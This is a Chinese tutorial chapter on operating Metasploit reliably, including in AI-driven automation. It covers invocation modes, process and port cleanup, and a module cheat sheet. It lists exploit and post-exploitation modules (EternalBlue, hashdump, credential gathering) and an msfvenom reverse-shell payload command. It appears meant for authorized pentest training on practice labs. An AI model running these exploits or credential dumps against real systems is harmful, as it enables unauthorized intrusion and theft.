第 91 章 Metasploit 使用规范(MSF 协议与正确调用)
Metasploit(MSF)是最重要的利用框架,但它在"AI 调用/自动化"场景下很容易踩坑:孤儿进程、会话丢失、超时卡死。本章来自真实踩坑经验(msf-protocol):MSF 的三种正确调用模式、6 大常见错误、以及与 AI/自动化的集成规范。
📍 知识点地图 | 主题:MSF规范 | 前置:第63章 | 后续:— | 核心概念:三种模式、孤儿进程、RPC daemon
91.1 MSF 架构(先懂结构)
msfconsole(交互控制台)
msfrpcd(RPC daemon,服务方式)
msfvenom(载荷生成)
msfdb(数据库)
结构:
模块(Modules): exploit / payload / post / auxiliary
会话(Sessions): 成功的连接(meterpreter/shell)
Resource 脚本: 批量命令
常见卡死原因(经验):
□ msfconsole 是交互进程 → 长命令/等待输入会挂住
□ session 依赖连接 → 网络断了会话没
□ 孤儿 ruby 进程占资源
91.2 6 大常见错误(避坑清单)
1. 交互卡死: 直接跑 msfconsole 并等待 → 进程挂起
→ 用非交互模式/后台(91.3)
2. 孤儿进程: 任务超时后 ruby 进程残留占端口
→ 用 detach=true + 明确 kill
3. 会话丢失: 重连后 session 上下文没保存
→ 用 RPC daemon(会话由服务管理)
4. 端口占用: 上次监听器没释放
→ 先清理(91.4)
5. 无输出误判: 命令执行了但没回显 → 误判失败
→ 检查日志/数据库
6. 载荷不匹配: 架构/平台错(x86 vs x64)
→ 确认目标架构(file/checksec)
91.3 三种正确调用模式
模式 A:一次性命令执行(推荐 80% 场景)
# 非交互:一次性跑完就退出
msfconsole -q -x "use exploit/xxx; set RHOSTS target; run; exit -y"
# 或资源脚本
msfconsole -q -r script.rc
# 适用: 单次利用/测试,不保留会话
模式 B:RPC daemon(连接管理场景)
# Step 1: 先杀旧端口占用
taskkill /F /PID <msf_pid> # 或 pkill -f msfrpcd
# Step 2: 启动 RPC daemon(detach=true 后台,不阻塞)
msfrpcd -U msf -P <pass> -f -a 127.0.0.1 -p 55553
# Step 3: 客户端连接(detach=false 保持会话)
# 之后所有客户端共享同一批 sessions!
# 适用: 需要跨请求保持会话/多客户端管理
模式 C:一次性后台运行(session 不需要保留)
# 后台执行 + 结果写文件
msfconsole -q -x "use ...; set ...; run -j; sleep 30; sessions -l" -o output.txt
# 适用: 结果只要输出,不需要交互
91.4 资源清理规范(避免孤儿进程)
# 1. 找到 msf 相关进程
tasklist | findstr ruby
ps aux | grep -E "msf|ruby"
# 2. 结束(按需求)
taskkill /F /T /PID <pid> # /T: 连子进程一起杀(重要!)
# 3. 端口清理
netstat -ano | findstr 55553
taskkill /F /PID <listener_pid>
# 原则: 每次会话结束必须清理(AI 调用场景尤其重要)
91.5 MSF 与 AI/自动化的集成(本仓库场景)
AI 调用 MSF 的规范:
□ 优先模式 A(一次性)——结果明确,无残留
□ 需要会话 → 模式 B(RPC daemon)
□ 每个任务独立端口/资源文件
□ 任务结束强制清理(进程+端口)
□ 超时处理: 后台运行 + 轮询结果(不阻塞等待)
□ 输出落地: -o 写文件(避免日志丢失)
OOB 检测(Out-of-Band):
□ 用 MSF 的 auxiliary 模块做带外验证(dns 回调等)
□ 结果可程序化读取
91.6 MSF 常用模块速查(按场景)
# 信息收集
auxiliary/scanner/portscan/tcp
auxiliary/scanner/smb/smb_version
auxiliary/scanner/http/http_title
# 利用
exploit/windows/smb/ms17_010_eternalblue(经典)
exploit/multi/http/struts2_xxx(框架漏洞)
# 后渗透
post/multi/gather/credentials(凭据)
post/windows/gather/hashdump(哈希)
post/linux/gather/checkvm(虚拟机检测)
# 载荷生成(msfvenom)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=4444 -f exe -o payload.exe
91.7 检查清单
□ 调用模式选择(A/B/C)
□ 端口清理(旧监听器)
□ 孤儿进程检查
□ 载荷架构匹配
□ 超时处理(后台+轮询)
□ 输出落地(-o)
□ 会话结束清理
□ 日志/结果检查
动手练习
- 用模式 A 对一个练习环境(Metasploitable)跑一次自动化利用(resource 脚本)。
- 搭 RPC daemon(模式 B),用两个客户端连接验证"共享会话"。
- 练习资源清理:制造一个孤儿 msf 进程,完整清理(进程树+端口)。
- 用 msfvenom 生成 3 种载荷(不同架构/格式),用 file 验证正确性。
深入阅读
- 仓库:
skills/pentest-tools/references/msf-protocol.md(MSF 调用规范全量) - 仓库:
skills/pentest-tools/SKILL.md(Metasploit 工具链) - 仓库:
skills/attack-chain/SKILL.md(MSF 在攻击链中的位置) - 仓库:
skills/pwn-chain/(exploit 工程化衔接)